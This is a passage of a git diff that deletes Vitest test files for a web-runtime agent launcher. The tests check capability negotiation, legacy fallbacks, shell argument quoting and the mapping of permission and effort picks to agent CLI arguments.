-  seedNativeChatLaunchDraftForAgentTab: mocks.seedNativeChatLaunchDraftForAgentTab
-}))
-
-vi.mock('../../../browser/creation/web-runtime-browser-materialization', () => ({
-  hasMaterializedWebRuntimeBrowserPage: mocks.hasMaterializedWebRuntimeBrowserPage
-}))
-
-vi.mock('sonner', () => ({ toast: { error: mocks.toastError, success: vi.fn() } }))
-
-afterEach(() => resetWebSessionCloseIntentForTests())
-
-import { launchAgentInWebHostTab } from '@/lib/agent-session/launch/new-tab/launch-agent-web-host-tab'
-import * as preferences from '../../../agent-launch-settings/use-host-agent-launch-preferences'
-import * as settingsTransport from '../../../agent-launch-settings/agent-launch-settings-transport'
-
-export const host: { capabilities: string[]; refusal?: string } = { capabilities: [] }
-export const call = vi.fn(async (request: { method: string; params?: Record<string, unknown> }) => {
-  if (request.method === 'status.get') {
-    return {
-      ok: true,
-      result: {
-        runtimeProtocolVersion: 3,
-        minCompatibleRuntimeClientVersion: 2,
-        capabilities: host.capabilities
-      }
-    }
-  }
-  if (request.method === 'terminal.createAgentSession' && host.refusal) {
-    return { ok: false, error: { code: host.refusal, message: 'Use legacy creation' } }
-  }
-  return {
-    ok: true,
-    result:
-      request.method === 'session.tabs.list'
-        ? makeSnapshot()
-        : {
-            tab: { id: 'host-options', leafId: FOCUS_LEAF_ID },
-            terminal: { handle: 'term-options', tabId: 'host-options', leafId: FOCUS_LEAF_ID }
-          }
-  }
-})
-
-beforeEach(() => {
-  stubTerminalCreateEnvironment(mocks)
-  mocks.getState().runtimeStatusByEnvironmentId = new Map([
-    [ENVIRONMENT_ID, { status: { hostPlatform: 'linux' } }]
-  ])
-  host.capabilities = ['agent-session.host-authority.v1', 'agent-session.create-options.v1']
-  host.refusal = undefined
-  vi.spyOn(preferences, 'ensureAgentLaunchPreferences').mockResolvedValue({
-    defaultTuiAgent: undefined,
-    disabledTuiAgents: undefined,
-    agentLaunchChoices: {}
-  })
-  vi.spyOn(settingsTransport, 'readHostAgentLaunchSettings').mockResolvedValue({
-    defaultTuiAgent: null,
-    disabledTuiAgents: [],
-    agentCmdOverrides: {},
-    agentDefaultArgs: { claude: '--permission-mode auto --add-dir /host-tools' },
-    environmentNames: { goose: ['GOOSE_MODE'] },
-    permissionMode: 'mixed',
-    agentPermission: {
-      default: 'full-access',
-      overrides: { claude: 'auto' },
-      userArgs: { claude: '--add-dir /host-tools' }
-    }
-  })
-  stubRuntimeEnvironmentBridge({ call })
-})
-afterEach(() => {
-  cleanup()
-  vi.restoreAllMocks()
-  resetTerminalCreateEnvironment()
-})
-
-export function launch(input: Partial<Parameters<typeof launchAgentInWebHostTab>[0]> = {}) {
-  const agent = input.agent ?? 'claude'
-  const prompt = input.prompt ?? ''
-  const promptDelivery = input.promptDelivery ?? 'auto-submit'
-  return launchAgentInWebHostTab({
-    agent,
-    worktreeId: WORKTREE_ID,
-    environmentId: ENVIRONMENT_ID,
-    activate: false,
-    prompt,
-    promptDelivery,
-    ...input,
-    buildStartup:
-      input.buildStartup ??
-      (() => {
-        throw new Error('Supply the caller prepared startup plan for this fallback')
-      })
-  })
-}
-export function params(method: string) {
-  const request = call.mock.calls.find(([request]) => request.method === method)?.[0]
-  if (!request?.params) {
-    throw new Error(`Missing ${method} request`)
-  }
-  return request.params
-}
-
-export { mocks }
diff --git a/src/renderer/src/runtime/hosted-terminals/creation/agent-launch/web-runtime-agent-launch-options.test.ts b/src/renderer/src/runtime/hosted-terminals/creation/agent-launch/web-runtime-agent-launch-options.test.ts
deleted file mode 100644
index 7cde0ed78a6..00000000000
--- a/src/renderer/src/runtime/hosted-terminals/creation/agent-launch/web-runtime-agent-launch-options.test.ts
+++ /dev/null
@@ -1,811 +0,0 @@
-// @vitest-environment happy-dom
-import { mocks, host, call, launch, params } from './web-runtime-agent-launch-options.test-fixture'
-import { createElement } from 'react'
-import { act, fireEvent, render } from '@testing-library/react'
-import { AgentSessionContinuationDialog } from '@/components/agent-session-continuation/AgentSessionContinuationDialog'
-import type { AgentLaunchPicker } from '@/components/agent/AgentLaunchPicker'
-import { expect, it, vi } from 'vitest'
-import {
-  WORKTREE_ID,
-  ENVIRONMENT_ID,
-  resetTerminalCreateEnvironment,
-  stubTerminalCreateEnvironment
-} from '../testing/web-runtime-terminal-create.test-fixture'
-import { stubRuntimeEnvironmentBridge } from '../../../rpc/testing/runtime-environment-bridge-fixture'
-
-import type {
-  AgentPickerDraft,
-  AgentPickerEntry
-} from '../../../../../../shared/agent-launch/picker/agent-launch-picker'
-import type { LaunchAgentStartupPromptPlan } from '@/lib/agent-session/launch/prompt/launch-agent-startup-prompt-plan'
-
-import { createWebRuntimeSessionTerminalResult } from '../web-runtime-terminal-create-operation'
-import * as settingsTransport from '../../../agent-launch-settings/agent-launch-settings-transport'
-import * as sessionRequests from './agent-session-create-request'
-import { replaceRuntimeEnvironmentRevisions } from '../../../rpc/environment-revisions/runtime-environment-revision'
-
-it('refuses creation when the pairing changes during capability negotiation', async () => {
-  const entered = Promise.withResolvers<void>()
-  const negotiated = Promise.withResolvers<{ capable: boolean; complete: boolean }>()
-  vi.spyOn(sessionRequests, 'agentSessionCreateCapabilities').mockImplementation(() => {
-    entered.resolve()
-    return negotiated.promise
-  })
-  replaceRuntimeEnvironmentRevisions([{ id: ENVIRONMENT_ID, createdAt: 1 }])
-  try {
-    const launched = launch({ sessionOptions: { effort: 'high' }, prompt: 'Keep this prompt' })
-    await entered.promise
-    replaceRuntimeEnvironmentRevisions([{ id: ENVIRONMENT_ID, createdAt: 2 }])
-    negotiated.resolve({ capable: true, complete: true })
-    await expect(launched).resolves.toMatchObject({
-      delivered: false,
-      failureNotified: true,
-      outcome: { status: 'failed' }
-    })
-    expect(call.mock.calls.map(([request]) => request.method)).not.toContain(
-      'terminal.createAgentSession'
-    )
-    expect(call.mock.calls.map(([request]) => request.method)).not.toContain(
-      'session.tabs.createTerminal'
-    )
-  } finally {
-    replaceRuntimeEnvironmentRevisions([])
-  }
-})
-
-it('refuses creation when the pairing changes during host snapshot retrieval', async () => {
-  const entered = Promise.withResolvers<void>()
-  const snapshot =
-    Promise.withResolvers<
-      Awaited<ReturnType<typeof settingsTransport.readHostAgentLaunchSettings>>
-    >()
-  host.capabilities = ['agent-session.host-authority.v1']
-  vi.mocked(settingsTransport.readHostAgentLaunchSettings).mockImplementation(() => {
-    entered.resolve()
-    return snapshot.promise
-  })
-  replaceRuntimeEnvironmentRevisions([{ id: ENVIRONMENT_ID, createdAt: 1 }])
-  try {
-    const launched = launch({ sessionOptions: { effort: 'high' }, prompt: 'Keep this prompt' })
-    await entered.promise
-    replaceRuntimeEnvironmentRevisions([{ id: ENVIRONMENT_ID, createdAt: 2 }])
-    snapshot.resolve(null)
-    await expect(launched).resolves.toMatchObject({
-      delivered: false,
-      failureNotified: true,
-      outcome: { status: 'failed' }
-    })
-    expect(call.mock.calls.map(([request]) => request.method)).not.toContain(
-      'terminal.createAgentSession'
-    )
-    expect(call.mock.calls.map(([request]) => request.method)).not.toContain(
-      'session.tabs.createTerminal'
-    )
-  } finally {
-    replaceRuntimeEnvironmentRevisions([])
-  }
-})
-
-it('refuses creation after capability negotiation is aborted', async () => {
-  const entered = Promise.withResolvers<void>()
-  const negotiated = Promise.withResolvers<{ capable: boolean; complete: boolean }>()
-  vi.spyOn(sessionRequests, 'agentSessionCreateCapabilities').mockImplementation(() => {
-    entered.resolve()
-    return negotiated.promise
-  })
-  replaceRuntimeEnvironmentRevisions([{ id: ENVIRONMENT_ID, createdAt: 1 }])
-  try {
-    const launched = launch({ sessionOptions: { effort: 'high' }, prompt: 'Keep this prompt' })
-    await entered.promise
-    negotiated.reject(new DOMException('Pairing changed', 'AbortError'))
-    await expect(launched).resolves.toMatchObject({
-      delivered: false,
-      failureNotified: true,
-      outcome: { status: 'failed' }
-    })
-    expect(call.mock.calls.map(([request]) => request.method)).not.toContain(
-      'terminal.createAgentSession'
-    )
-    expect(call.mock.calls.map(([request]) => request.method)).not.toContain(
-      'session.tabs.createTerminal'
-    )
-  } finally {
-    replaceRuntimeEnvironmentRevisions([])
-  }
-})
-
-it('keeps paired + defaults host-owned and sends complete picks and action Arguments separately', async () => {
-  const plainOutcome = await launch({
-    buildStartup: () => {
-      throw new Error('Invalid desktop command')
-    }
-  })
-  expect(plainOutcome.outcome.status).toBe('created')
-  const plain = params('terminal.createAgentSession')
-  expect(plain).not.toHaveProperty('agentArgs')
-  expect(plain).not.toHaveProperty('command')
-  expect(plain).not.toHaveProperty('launchConfig')
-  call.mockClear()
-  await launch({
-    sessionOptions: { model: 'sonnet', effort: 'high', fastMode: 'true' },
-    actionAgentArgs: '--verbose',
-    prompt: 'Inspect the change'
-  })
-
-  const picked = params('terminal.createAgentSession')
-  expect(picked).toMatchObject({
-    sessionOptions: { model: 'sonnet', effort: 'high', fastMode: 'true' },
-    agentArgs: '--permission-mode auto --verbose',
-    prompt: 'Inspect the change'
-  })
-  expect(picked).not.toHaveProperty('extraAgentArgs')
-  expect(
-    call.mock.calls.some(([request]) => request.method === 'session.tabs.createTerminal')
-  ).toBe(false)
-})
-
-it('keeps host authority on older hosts and composes inexpressible picks only from the host snapshot', async () => {
-  host.capabilities = ['agent-session.host-authority.v1']
-  await launch({
-    sessionOptions: { model: 'sonnet', effort: 'high', permissionMode: 'accept-edits' }
-  })
-  expect(params('terminal.createAgentSession')).toMatchObject({
-    agentArgs: '--model sonnet --effort high --permission-mode acceptEdits --add-dir /host-tools'
-  })
-  expect(params('terminal.createAgentSession')).not.toHaveProperty('launchPreferences')
-  call.mockClear()
-  await launch({ actionAgentArgs: '--verbose', sessionOptions: { permissionMode: 'full-access' } })
-  expect(params('terminal.createAgentSession').agentArgs).toBe(
-    '--dangerously-skip-permissions --verbose'
-  )
-  expect(params('terminal.createAgentSession')).not.toHaveProperty('launchPreferences')
-  call.mockClear()
-  host.capabilities.push('settings.agent-launch.choices.v1')
-  await launch({ sessionOptions: { model: 'sonnet', permissionMode: 'accept-edits' } })
-  expect(params('terminal.createAgentSession')).toMatchObject({
-    launchPreferences: { model: 'sonnet', mode: 'accept-edits' }
-  })
-  expect(params('terminal.createAgentSession')).not.toHaveProperty('agentArgs')
-  call.mockClear()
-  await launch({ sessionOptions: { effort: 'high' }, actionAgentArgs: '--verbose' })
-  const picked = params('terminal.createAgentSession')
-  expect(picked.agentArgs).toBe('--effort high --permission-mode auto --verbose')
-  expect(picked).not.toHaveProperty('launchPreferences')
-  expect(picked).not.toHaveProperty('command')
-  expect(picked).not.toHaveProperty('env')
-  expect(picked).not.toHaveProperty('sessionOptions')
-  call.mockClear()
-  vi.mocked(settingsTransport.readHostAgentLaunchSettings).mockResolvedValue({
-    defaultTuiAgent: null,
-    disabledTuiAgents: [],
-    agentCmdOverrides: { claude: 'claude --model opus' },
-    agentDefaultArgs: { claude: '--model sonnet --permission-mode auto --add-dir /host-tools' },
-    environmentNames: {},
-    permissionMode: 'mixed',
-    agentChoices: {
-      defaults: { claude: { model: 'sonnet' } },
-      userArgs: { claude: '--add-dir /host-tools' }
-    },
-    agentPermission: {
-      default: 'full-access',
-      overrides: { claude: 'auto' },
-      userArgs: { claude: '--add-dir /host-tools' }
-    }
-  })
-  await launch({ actionAgentArgs: '--verbose', sessionOptions: { effort: 'high' } })
-  const pinned = params('terminal.createAgentSession')
-  expect(pinned.agentArgs).toBe('--effort high --permission-mode auto --verbose')
-  expect(pinned).not.toHaveProperty('launchPreferences')
-  call.mockClear()
-  await launch({ sessionOptions: { effort: 'high' } })
-  const nonAction = params('terminal.createAgentSession')
-  expect(nonAction.agentArgs).toBe('--effort high --permission-mode auto --add-dir /host-tools')
-  expect(nonAction).not.toHaveProperty('launchPreferences')
-})
-
-it('uses host defaults for structured v1.4.239 picks and retains explicitly authored Arguments', async () => {
-  host.capabilities = ['agent-session.host-authority.v1']
-  vi.mocked(settingsTransport.readHostAgentLaunchSettings).mockResolvedValue({
-    defaultTuiAgent: 'claude',
-    disabledTuiAgents: [],
-    agentCmdOverrides: {},
-    agentDefaultArgs: { claude: '--permission-mode auto --add-dir /host-tools' },
-    environmentNames: {},
-    permissionMode: 'mixed',
-    agentPermission: {
-      default: 'auto',
-      overrides: {},
-      userArgs: { claude: '--add-dir /host-tools' }
-    }
-  })
-  await launch({ sessionOptions: { permissionMode: 'full-access', effort: 'high' } })
-
-  expect(params('terminal.createAgentSession').agentArgs).toBe(
-    '--effort high --dangerously-skip-permissions --add-dir /host-tools'
-  )
-  expect(params('terminal.createAgentSession')).not.toHaveProperty('launchPreferences')
-  call.mockClear()
-  await launch({
-    agentArgs: '--dangerously-skip-permissions --add-dir /launch-tools',
-    sessionOptions: { model: 'launch-only', permissionMode: 'full-access' }
-  })
-
-  const edited = params('terminal.createAgentSession')
-  expect(edited.agentArgs).toBe(
-    '--model launch-only --dangerously-skip-permissions --add-dir /launch-tools'
-  )
-  expect(edited).not.toHaveProperty('command')
-  expect(edited).not.toHaveProperty('launchPreferences')
-  call.mockClear()
-  host.capabilities.push('agent-session.create-options.v1')
-  await launch({ sessionOptions: { permissionMode: 'full-access', effort: 'high' } })
-
-  expect(params('terminal.createAgentSession')).toMatchObject({
-    sessionOptions: { permissionMode: 'full-access', effort: 'high' }
-  })
-  expect(params('terminal.createAgentSession')).not.toHaveProperty('agentArgs')
-})
-
-it.each([
-  {
-    agentArgs: '--add-dir /tmp',
-    expected: '--effort high --permission-mode default --add-dir /tmp'
-  },
-  { agentArgs: '', expected: '--effort high --permission-mode default' },
-  { agentArgs: null, expected: '--effort high --permission-mode default' }
-])(
-  'compiles explicit picker Arguments $agentArgs with historical host defaults',
-  async ({ agentArgs, expected }) => {
-    host.capabilities = ['agent-session.host-authority.v1']
-    await launch({ agentArgs, sessionOptions: { effort: 'high', permissionMode: 'ask' } })
-    expect(params('terminal.createAgentSession').agentArgs).toBe(expected)
-    expect(params('terminal.createAgentSession')).not.toHaveProperty('launchPreferences')
-    expect(params('terminal.createAgentSession')).not.toHaveProperty('command')
-  }
-)
-
-it.each([
-  { fallback: 'legacy', capabilities: [], refusal: undefined },
-  {
-    fallback: 'agent_session_legacy_required',
-    capabilities: ['agent-session.host-authority.v1', 'agent-session.create-options.v1'],
-    refusal: 'agent_session_legacy_required'
-  }
-])(
-  'prepares edited drafts from the historical host recipe through $fallback',
-  async ({ capabilities, refusal }) => {
-    host.capabilities = capabilities
-    host.refusal = refusal
-    vi.spyOn(settingsTransport, 'readHostAgentStartupSettings').mockImplementation(async () => {
-      mocks.getState().runtimeStatusByEnvironmentId.set(ENVIRONMENT_ID, {
-        status: { hostPlatform: 'linux', runtimeId: 'resolved-host' }
-      })
-      return {
-        agentCmdOverrides: { claude: '/host/claude' },
-        agentDefaultArgs: { claude: '' },
-        agentDefaultEnv: { claude: { HOST_ENV: 'host' } },
-        agentPermissionDefault: 'auto',
-        agentLaunchChoices: {}
-      }
-    })
-    await launch({
-      agentArgs: '--add-dir /tmp',
-      sessionOptions: { permissionMode: 'ask' },
-      prompt: 'Keep this draft',
-      promptDelivery: 'draft'
-    })
-    expect(params('session.tabs.createTerminal')).toMatchObject({
-      command:
-        "/host/claude '--add-dir' '/tmp' '--permission-mode' 'default' --prefill 'Keep this draft'",
-      env: { HOST_ENV: 'host' }
-    })
-    expect(params('session.tabs.createTerminal')).not.toHaveProperty('agentPrompt')
-    expect(mocks.seedNativeChatLaunchDraftForAgentTab).toHaveBeenCalledWith(
-      expect.objectContaining({ text: 'Keep this draft' })
-    )
-  }
-)
-
-it('requests a host-authoritative v1.4.239 continuation through the real Start handler', async () => {
-  host.capabilities = ['agent-session.host-authority.v1']
-  const entered = Promise.withResolvers<void>()
-  const finished = Promise.withResolvers<Awaited<ReturnType<typeof launch>>>()
-  mocks.launched.mockImplementation((input) => {
-    const completion = launch(input)
-    entered.resolve()
-    void completion.then(finished.resolve, finished.reject)
-    return completion
-  })
-  const api = window.api
-  vi.stubGlobal('window', document.defaultView)
-  Object.assign(window, { api })
-  vi.mocked(settingsTransport.readHostAgentLaunchSettings).mockResolvedValue({
-    defaultTuiAgent: null,
-    disabledTuiAgents: [],
-    agentCmdOverrides: { claude: '/host/claude' },
-    agentDefaultArgs: { claude: '--permission-mode default --add-dir /host-tools' },
-    environmentNames: {},
-    permissionMode: 'manual',
-    agentPermission: {
-      default: 'ask',
-      overrides: {},
-      userArgs: { claude: '--add-dir /host-tools' }
-    }
-  })
-  Object.assign(mocks.getState(), { getKnownWorktreeById: () => null })
-  const entry: AgentPickerEntry = {
-    agent: 'claude',
-    label: 'Claude',
-    rows: [],
-    surfaces: ['terminal'],
-    defaultSurface: 'terminal',
-    catalog: { origin: 'unknown' },
-    terminal: { permissionMode: 'ask' },
-    structured: {},
-    arguments: '--add-dir /host-tools'
-  }
-  const draft: AgentPickerDraft = {
-    agent: 'claude',
-    surface: 'terminal',
-    choices: { permissionMode: 'full-access' }
-  }
-
-  const row = { agent: 'claude', kind: 'cli', executionHostId: 'runtime:web-env-1' } as const
-  mocks.observation.mockReturnValue({
-    detection: { detectedIds: ['claude'] },
-    model: { state: 'settled', rows: [row] },
-    selectionFor: () => ({
-      ready: true,
-      cli: true,
-      choice: { agent: 'claude', route: 'terminal-tui', executionHostId: row.executionHostId }
-    })
-  })
-  mocks.picker.mockImplementation((props: Parameters<typeof AgentLaunchPicker>[0]) =>
-    createElement('button', { onClick: () => props.onPick('claude', draft, entry) }, 'Full access')
-  )
-  const view = render(
-    createElement(AgentSessionContinuationDialog, {
-      open: true,
-      onOpenChange: () => {},
-      request: {
-        worktreeId: WORKTREE_ID,
-        workspacePath: '/worktree',
-        launchSource: 'sidebar',
-        source: { sourceAgent: 'claude', capturedText: 'Saved continuation context' }
-      }
-    })
-  )
-  fireEvent.click(view.getByText('Full access'))
-  await act(async () => {
-    fireEvent.click(view.getByRole('button', { name: 'Start New Session' }))
-    await entered.promise
-    await finished.promise
-  })
-  const request = params('terminal.createAgentSession')
-  expect(request.agentArgs).toBe('--dangerously-skip-permissions --add-dir /host-tools')
-  expect(request).not.toHaveProperty('command')
-  expect(request.prompt).toContain('Saved continuation context')
-  expect(request.promptDelivery).toBe('draft')
-  expect(
-    call.mock.calls.some(([request]) => request.method === 'session.tabs.createTerminal')
-  ).toBe(false)
-})
-
-it.each([
-  {
-    launchPlatform: 'win32' as const,
-    hostShell: 'cmd.exe',
-    hostArgs: '--add-dir "C:\\host tools"',
-    snapshotArgs: '--permission-mode auto --add-dir "C:\\host tools"',
-    expected:
-      '--model "model with space" --effort high --permission-mode auto --add-dir "C:\\host tools"'
-  },
-  {
-    launchPlatform: 'linux' as const,
-    hostShell: 'wsl.exe',
-    hostArgs: '--add-dir /host-tools',
-    snapshotArgs: '--permission-mode auto --add-dir /host-tools',
-    expected:
-      "--model 'model with space' --effort high --permission-mode auto --add-dir /host-tools"
-  }
-])(
-  'uses the host execution platform and shell for snapshot arguments ($hostShell)',
-  async ({ launchPlatform, hostShell, hostArgs, snapshotArgs, expected }) => {
-    host.capabilities = ['agent-session.host-authority.v1']
-    mocks.getState().runtimeStatusByEnvironmentId = new Map([
-      [ENVIRONMENT_ID, { status: { hostPlatform: 'win32', terminalWindowsShell: hostShell } }]
-    ])
-    vi.mocked(settingsTransport.readHostAgentLaunchSettings).mockResolvedValue({
-      defaultTuiAgent: null,
-      disabledTuiAgents: [],
-      agentCmdOverrides: {},
-      agentDefaultArgs: { claude: snapshotArgs },
-      environmentNames: {},
-      permissionMode: 'mixed',
-      agentChoices: { defaults: {}, userArgs: { claude: hostArgs } },
-      agentPermission: { default: 'auto', overrides: {}, userArgs: { claude: hostArgs } }
-    })
-
-    await launch({
-      launchPlatform,
-      sessionOptions: { model: 'model with space', effort: 'high', permissionMode: 'auto' }
-    })
-    expect(params('terminal.createAgentSession').agentArgs).toBe(expected)
-  }
-)
-
-it('replaces recognized permission text from a historical host snapshot and retains ambiguous launches', async () => {
-  host.capabilities = ['agent-session.host-authority.v1']
-  const snapshot = {
-    defaultTuiAgent: 'claude' as const,
-    disabledTuiAgents: [],
-    agentCmdOverrides: {},
-    agentDefaultArgs: { claude: '--dangerously-skip-permissions --add-dir /host-tools' },
-    permissionMode: 'mixed' as const,
-    environmentNames: {}
-  }
-  vi.mocked(settingsTransport.readHostAgentLaunchSettings).mockResolvedValue(snapshot)
-  await launch({ sessionOptions: { permissionMode: 'ask' } })
-  expect(params('terminal.createAgentSession').agentArgs).toBe(
-    '--permission-mode default --add-dir /host-tools'
-  )
-  expect(params('terminal.createAgentSession')).not.toHaveProperty('launchPreferences')
-  call.mockClear()
-  vi.mocked(settingsTransport.readHostAgentLaunchSettings).mockResolvedValue({
-    ...snapshot,
-    agentDefaultArgs: {
-      claude: '--permission-mode auto --permission-mode default --add-dir /host-tools'
-    }
-  })
-  await launch({
-    sessionOptions: { permissionMode: 'ask' },
-    buildStartup: () => ({
-      startupPlan: {
-        agent: 'claude',
-        launchCommand: "desktop-claude '--permission-mode' 'default'",
-        expectedProcess: 'claude',
-        followupPrompt: null,
-        launchConfig: {
-          agentCommand: 'desktop-claude',
-          agentArgs: '--permission-mode default',
-          agentEnv: {}
-        }
-      },
-      pasteDraftAfterLaunch: null,
-      submitPastedPrompt: false
-    })
-  })
-  expect(params('session.tabs.createTerminal').command).toBe(
-    "desktop-claude '--permission-mode' 'default'"
-  )
-})
-
-it('keeps a cmd multiline draft out of the create request and pastes it after startup', async () => {
-  await launch({
-    launchPlatform: 'win32',
-    launchShell: 'cmd',
-    prompt: 'first line\nsecond line',
-    promptDelivery: 'draft'
-  })
-  const request = params('terminal.createAgentSession')
-  expect(request).not.toHaveProperty('prompt')
-  expect(request).not.toHaveProperty('promptDelivery')
-  expect(mocks.deliverLaunchPromptToAgentTab).toHaveBeenCalledWith(
-    expect.objectContaining({
-      content: 'first line\nsecond line',
-      agent: 'claude',
-      submit: false
-    })
-  )
-})
-
-it('leaves terminal-unsupported permission out of the OpenCode wire request', async () => {
-  const result = await launch({
-    agent: 'opencode',
-    sessionOptions: { permissionMode: 'ask' },
-    prompt: 'Inspect the change'
-  })
-  expect(result.outcome.status).toBe('created')
-  const request = params('terminal.createAgentSession')
-  expect(request).toMatchObject({
-    agent: 'opencode',
-    prompt: 'Inspect the change',
-    sessionOptions: {}
-  })
-  expect(request).not.toHaveProperty('launchPreferences')
-  expect(request).not.toHaveProperty('agentArgs')
-})
-
-it('keeps a no-flag Ask pick structured without action Arguments on a create-options host', async () => {
-  vi.mocked(settingsTransport.readHostAgentLaunchSettings).mockRejectedValue(new Error('offline'))
-  vi.spyOn(settingsTransport, 'readHostAgentStartupSettings').mockRejectedValue(
-    new Error('offline')
-  )
-  await expect(
-    launch({ agent: 'antigravity', sessionOptions: { permissionMode: 'ask' } })
-  ).resolves.toMatchObject({ outcome: { status: 'created' } })
-  const request = params('terminal.createAgentSession')
-  expect(request.sessionOptions).toEqual({ permissionMode: 'ask' })
-  expect(request).not.toHaveProperty('agentArgs')
-  expect(request).not.toHaveProperty('command')
-  expect(request).not.toHaveProperty('env')
-})
-
-it('retains explicit empty action Arguments with a structured no-flag Ask pick', async () => {
-  vi.mocked(settingsTransport.readHostAgentLaunchSettings).mockRejectedValue(new Error('offline'))
-  vi.spyOn(settingsTransport, 'readHostAgentStartupSettings').mockRejectedValue(
-    new Error('offline')
-  )
-  await expect(
-    launch({ agent: 'antigravity', sessionOptions: { permissionMode: 'ask' }, actionAgentArgs: '' })
-  ).resolves.toMatchObject({ outcome: { status: 'created' } })
-  const request = params('terminal.createAgentSession')
-  expect(request.sessionOptions).toEqual({ permissionMode: 'ask' })
-  expect(request).toHaveProperty('agentArgs', '')
-  expect(request).not.toHaveProperty('command')
-  expect(request).not.toHaveProperty('env')
-})
-
-it.each([
-  { negotiation: 'host authority only', capabilities: ['agent-session.host-authority.v1'] },
-  {
-    negotiation: 'host authority with choices',
-    capabilities: ['agent-session.host-authority.v1', 'settings.agent-launch.choices.v1']
-  }
-])('compiles a no-flag Ask pick to empty Arguments on $negotiation', async ({ capabilities }) => {
-  host.capabilities = capabilities
-  await launch({ agent: 'antigravity', sessionOptions: { permissionMode: 'ask' } })
-  const request = params('terminal.createAgentSession')
-  expect(request).toHaveProperty('agentArgs', '')
-  expect(request).not.toHaveProperty('launchPreferences')
-  expect(request).not.toHaveProperty('sessionOptions')
-  expect(request).not.toHaveProperty('command')
-  expect(request).not.toHaveProperty('env')
-})
-
-it('preserves empty action text and inherits permission from text-only host snapshots', async () => {
-  await launch({ actionAgentArgs: '' })
-  expect(params('terminal.createAgentSession').agentArgs).toBe('--permission-mode auto')
-  call.mockClear()
-  vi.mocked(settingsTransport.readHostAgentLaunchSettings).mockResolvedValue({
-    defaultTuiAgent: 'claude',
-    disabledTuiAgents: [],
-    agentCmdOverrides: {},
-    agentDefaultArgs: { claude: '--permission-mode auto --add-dir /host-tools' },
-    permissionMode: 'mixed',
-    environmentNames: {}
-  })
-  await launch({ actionAgentArgs: '--verbose' })
-  expect(params('terminal.createAgentSession').agentArgs).toBe('--permission-mode auto --verbose')
-  call.mockClear()
-  vi.mocked(settingsTransport.readHostAgentLaunchSettings).mockResolvedValue(null)
-  await launch({
-    actionAgentArgs: '--verbose',
-    prompt: 'Keep this draft',
-    promptDelivery: 'draft',
-    buildStartup: () => ({
-      startupPlan: {
-        agent: 'claude',
-        launchCommand: "desktop-claude '--verbose' --prefill 'Keep this draft'",
-        expectedProcess: 'claude',
-        followupPrompt: null,
-        launchConfig: { agentCommand: 'desktop-claude', agentArgs: '--verbose', agentEnv: {} }
-      },
-      pasteDraftAfterLaunch: null,
-      submitPastedPrompt: false
-    })
-  })
-  expect(params('session.tabs.createTerminal').command).toBe(
-    "desktop-claude '--verbose' --prefill 'Keep this draft'"
-  )
-  expect(mocks.seedNativeChatLaunchDraftForAgentTab).toHaveBeenCalledWith(
-    expect.objectContaining({ text: 'Keep this draft' })
-  )
-})
-
-it.each<{
-  pick: string
-  sessionOptions: Record<string, string>
-  startup: LaunchAgentStartupPromptPlan
-  expectedCommand: string
-}>([
-  {
-    pick: 'effort',
-    sessionOptions: { effort: 'high' },
-    startup: {
-      startupPlan: {
-        agent: 'claude',
-        launchCommand: "desktop-claude '--effort' 'high'",
-        expectedProcess: 'claude',
-        followupPrompt: null,
-        launchConfig: { agentCommand: 'desktop-claude', agentArgs: '--effort high', agentEnv: {} }
-      },
-      pasteDraftAfterLaunch: null,
-      submitPastedPrompt: false
-    },
-    expectedCommand: "desktop-claude '--effort' 'high'"
-  },
-  {
-    pick: 'permission',
-    sessionOptions: { permissionMode: 'full-access' },
-    startup: {
-      startupPlan: {
-        agent: 'claude',
-        launchCommand: 'desktop-claude --dangerously-skip-permissions',
-        expectedProcess: 'claude',
-        followupPrompt: null,
-        launchConfig: {
-          agentCommand: 'desktop-claude',
-          agentArgs: '--dangerously-skip-permissions',
-          agentEnv: {}
-        }
-      },
-      pasteDraftAfterLaunch: null,
-      submitPastedPrompt: false
-    },
-    expectedCommand: 'desktop-claude --dangerously-skip-permissions'
-  }
-])(
-  'uses the caller prepared $pick launch when an older host snapshot is unavailable',
-  async ({ sessionOptions, startup, expectedCommand }) => {
-    host.capabilities = ['agent-session.host-authority.v1']
-    vi.mocked(settingsTransport.readHostAgentLaunchSettings).mockResolvedValue(null)
-    await launch({ sessionOptions, buildStartup: () => startup })
-    expect(params('session.tabs.createTerminal').command).toBe(expectedCommand)
-  }
-)
-
-it('keeps the prepared permission environment for an older host', async () => {
-  host.capabilities = ['agent-session.host-authority.v1']
-  await launch({
-    agent: 'goose',
-    sessionOptions: { permissionMode: 'full-access' },
-    buildStartup: () => ({
-      startupPlan: {
-        agent: 'goose',
-        launchCommand: 'goose',
-        expectedProcess: 'goose',
-        followupPrompt: null,
-        launchConfig: { agentArgs: '', agentEnv: { GOOSE_MODE: 'auto' } },
-        env: { GOOSE_MODE: 'auto' }
-      },
-      pasteDraftAfterLaunch: null,
-      submitPastedPrompt: false
-    })
-  })
-  expect(params('session.tabs.createTerminal')).toMatchObject({
-    env: { GOOSE_MODE: 'auto' }
-  })
-  expect(
-    call.mock.calls.some(([request]) => request.method === 'terminal.createAgentSession')
-  ).toBe(false)
-})
-
-it.each([
-  { fallback: 'legacy', capabilities: [], refusal: undefined },
-  {
-    fallback: 'agent_session_legacy_required',
-    capabilities: ['agent-session.host-authority.v1', 'agent-session.create-options.v1'],
-    refusal: 'agent_session_legacy_required'
-  },
-  {
-    fallback: 'method_not_found',
-    capabilities: ['agent-session.host-authority.v1', 'agent-session.create-options.v1'],
-    refusal: 'method_not_found'
-  }
-])(
-  'lets the host plan plain prompted launches through $fallback fallback',
-  async ({ capabilities, refusal }) => {
-    host.capabilities = capabilities
-    host.refusal = refusal
-    await launch({ prompt: 'Inspect this change' })
-    const legacy = params('session.tabs.createTerminal')
-    expect(legacy).toMatchObject({
-      agent: 'claude',
-      launchAgent: 'claude',
-      agentPrompt: 'Inspect this change'
-    })
-    expect(legacy).not.toHaveProperty('command')
-    expect(legacy).not.toHaveProperty('launchConfig')
-    call.mockClear()
-    await launch({ agent: 'goose', prompt: 'Keep this editable' })
-    expect(params('session.tabs.createTerminal')).not.toHaveProperty('agentPrompt')
-    expect(mocks.deliverLaunchPromptToAgentTab).toHaveBeenCalledWith(
-      expect.objectContaining({ content: 'Keep this editable', submit: false })
-    )
-  }
-)
-
-it('retains legacy drafts and submit-after-ready suppression and delivery', async () => {
-  host.capabilities = []
-  await launch({
-    prompt: 'Edit this draft',
-    promptDelivery: 'draft',
-    buildStartup: () => ({
-      startupPlan: {
-        agent: 'claude',
-        launchCommand: "desktop-claude --prefill 'Edit this draft'",
-        expectedProcess: 'claude',
-        followupPrompt: null,
